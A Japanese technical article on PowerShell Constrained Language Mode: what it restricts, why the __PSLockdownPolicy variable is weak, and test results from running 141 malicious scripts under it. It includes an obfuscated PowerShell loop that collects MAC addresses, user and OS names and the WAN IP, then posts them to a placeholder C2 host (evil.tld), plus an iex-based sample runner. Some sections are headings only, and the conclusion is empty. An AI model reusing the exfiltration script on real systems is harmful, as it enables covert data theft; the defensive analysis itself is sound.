PowerShellのConstrained Language（制約付き言語）モードに対する深い考察

Constrained Language（制約付き言語）モードの説明と、このモードが重要な理由

安全性が向上したPowerShell環境

• Windowsモジュールのすべてのコマンドレット、およびその他のUMCIで承認されたコマンドレットは、特記されている場合を除き、完全に機能し、システムリソースに完全にアクセスすることができる。
• PowerShellスクリプト言語のすべての要素が許可される。
• Windowsに含まれるすべてのモジュールをインポートすることができ、モジュールがエクスポートするすべてのコマンドをセッションで実行できる。
• PowerShell Workflowでは、スクリプトワークフロー（PowerShell 言語で記述されたワークフロー）を記述し、実行することができる。XAMLベースのワークフローはサポートされておらず、Invoke-Expression -Language XAMLを使用するなどして、スクリプトワークフローでXAMLを実行することはできない。また、ワークフローから他のワークフローを呼び出すことはできないが、ネストしたワークフローは許可される。
• Add-Typeコマンドレットは署名されたアセンブリを読み込むことができるが、任意のC#コードやWin32 APIを読み込むことはできない。
• New-Objectコマンドレットは、許可された型（以下のリストを参照）に対してのみ使用できる。
• PowerShellでは、許可された型（以下のリストを参照）のみを使用できる。それ以外の型は許可されない。
• 型変換は許可されているが、その結果が許可された型である場合のみとなる。
• 文字列入力を型に変換するコマンドレットパラメーターは、その結果の型が許可された型である場合にのみ機能する。
• 許可された型（以下のリストを参照）のToString()メソッドと.NETメソッドを呼び出すことができる。その他のメソッドは呼び出すことができない。
• ユーザーは、許可された型の全プロパティを取得することができる。ユーザーはCore型でのみプロパティの値を設定することができる。以下のCOMオブジェクトのみ許可される。

  • Scripting.Dictionary
  • Scripting.FileSystemObject
  • VBScript.RegExp

Add-Typeを使った任意のC#コードは不可

Add-Typeコマンドレットは署名されたアセンブリを読み込むことができるが、任意のC#コードやWin32 APIを読み込むことはできない。

ホワイトリストに載っていない型の使用を禁止

• New-Objectコマンドレットは、許可された型（以下のリストを参照）に対してのみ使用できる。
• PowerShellでは、許可された型（以下のリストを参照）のみを使用できる。それ以外の型は許可されない。
• 型変換は許可されているが、その結果が許可された型である場合のみとなる。
• 文字列入力を型に変換するコマンドレットパラメーターは、その結果の型が許可された型である場合にのみ機能する。
• 許可された型（以下のリストを参照）のToString()メソッドと.NETメソッドを呼び出すことができる。その他のメソッドは呼び出すことができない。

複雑なスクリプトの実行を禁止

明示的な機能登録の必要性

標準のコマンドレットではなくスクリプトに対して効果的

Start-Job -ScriptBlock {
 while($true){
  # MAC address collection (# MACアドレスを収集します)
  .("{1}{3}{2}{0}" -f 'ariable', 'S', 't-V', 'e') -Name ("{1}{0}" -f 'ata', 'd') -Value (.("{3}{2}{0}{1}" -f 'Ada', 'pter', 'Net', 'Get-') | .("{1}{0}" -f 'ect', 'sel') ("{1}{0}{3}{2}" -f 'erfac', 'Int', 's', 'eAlia'), ("{0}{1}{2}" -f 'MacA', 'd', 'dress') | &("{3}{2}{0}{1}" -f 'r', 'tTo-Json', 'e', 'Conv') -Compress) > $null
  # OSs + username collection (# OS + ユーザー名を収集します)
  .("{2}{0}{1}" -f '-', 'Variable', 'Set') -Name ("{0}{1}" -f 'd', 'ata') -Value (${D`ATa} + (.("{0}{2}{3}{1}" -f 'Ge', 'nce', 't-CimInst', 'a') ("{1}{0}{3}{2}" -f 'ting', 'Win32_Opera', 'em', 'Syst') | .("{0}{1}" -f 'se', 'lect') ("{0}{1}" -f 'na', 'me'), ("{1}{0}" -f 'me', 'CSNa') | &("{2}{3}{1}{0}{4}" -f 'o-Js', 'T', 'Conve', 'rt', 'on') -Compress)) > $null
  # WAN IP collection (# WAN IPを収集します)
  &("{0}{1}{2}{3}" -f 'Set-', 'Vari', 'abl', 'e') -Name ("{1}{0}" -f 'ta', 'da') -Value (${D`AtA} + ((.("{1}{0}" -f 'r', 'iw') -useb ("{1}{0}{2}" -f 'fig', 'ifcon', '.me') -user ("{0}{1}" -f 'cur', 'l'))."cO`NTe`Nt")) > $null
  # Saves data to a temporary file (usually this is done in-memory by threat actors, but in-memory execution purely based on existing cmdlets is either impossible or very difficult) (# データを一時ファイルに保存します（通常は、脅威アクターがインメモリで行いますが、既存のコマンドレットのみに基づくインメモリ実行は不可能または非常に困難です）)
  .("{1}{0}{2}" -f '-Variabl', 'Set', 'e') -Name ('a') -Value ("$env:temp\$(New-Guid).txt")
  ${Da`Ta} | &("{1}{2}{0}" -f 'le', 'O', 'ut-Fi') ${a}
  # Compresses the file (# ファイルを圧縮します)
  &("{3}{0}{2}{1}" -f 'ompr', 'Archive', 'ess-', 'C') -De "$a.zip" -Co ("{0}{1}" -f 'Op', 'timal') -Lit ${a}
  # Sends it back to the C2 station (# C2ステーションに送り返します)
  &("{1}{0}" -f 'r', 'iw') ("{0}{2}{3}{4}{1}" -f 'h', '00', 'ttp://evil', '.tld:', '80') -method ("{1}{0}" -f 'st', 'po') -body (.("{1}{0}{2}" -f 'Co', 'Get-', 'ntent') -Lit "$a.zip") > $null
  &("{2}{1}{0}" -f 'leep', 't-S', 'Star') -Seconds 2
  }
}

__PSLockdownPolicy に注意

制約付き言語を実装する一環として、PowerShellには__PSLockdownPolicyと呼ばれるデバッグおよび単体テスト用の環境変数が含まれています。ドキュメントにこの変数に関する記述はありませんが、これを発見した人の中には強化メカニズムだと考える人もいるようです。これは賢明ではありません。なぜなら、攻撃者は、この環境変数を容易に変更して、設定を除去することができるからです。また、スクリプトのFullLanguageモードを有効にするファイル命名規則もあり、Constrained Language（制約付き言語）を効果的に回避することも可能です。

レガシーOSとの互換性

PS C:\> powershell -v 2
Encountered a problem reading the registry.  Cannot find registry key SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine. The Windows PowerShell 2 engine is not installed on this computer.

PS C:\> powershell -v 2
レジストリの読み取りに問題が発生しました。 レジストリキー「SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine」が見つかりません。このコンピューターにはWindows PowerShell 2エンジンがインストールされていません。

仮説検定

• 2021年1月27日時点で、最近提出された個々のPowerShellサンプルを141個収集しました。

  • これらのサンプルは無差別に選択されており、手作業で選ばれたものは一切ありません（*.ps1スクリプトでない無効なサンプルの選別を除く）。
• ls -File | %{start-job -scr {iex $args[0]} -arg $_.FullNameでスクリプトを実行しました。
• これらのサンプルはConstrainedLanguageモードを有効にしたシステムで実行しました。
• 昇格していないPowerShellセッションを持つWindows 10（ビルド19042）システムで、これらのサンプルを実行しました。

  • 攻撃者はまず権限を昇格させなければならず、また、昇格された時点でより大きな懸念も発生することから、昇格されたものは今回のテストから除外されています。

• ConstrainedLanguageがブロックされたケース

  • 正しく実行されたサンプルの100%（141/141）。

    • TCPシェルの起動、次のステージのペイロードの読み込み、使用可能なパーシステンスの作成など、意図した目標に到達しています。
  • サンプルの51%（72/141）が、ホワイトリストに載っていない型の作成を試みました。
  • サンプルの50%（71/141）が、ホワイトリストに載っていない型でメソッドを呼び出そうとしました。
  • サンプルの26.9%（38/141）が、値をホワイトリストに載っていない型に変換しようとしました。
  • サンプルの2.8%（4/141）が、ホワイトリストに載っていない型にプロパティを設定しようとしました。
  • ConstrainedLanguageのブロックに失敗したケース
  • サンプルの0.7%（1/141）が、パーシスタンスエントリを作成できました。

結論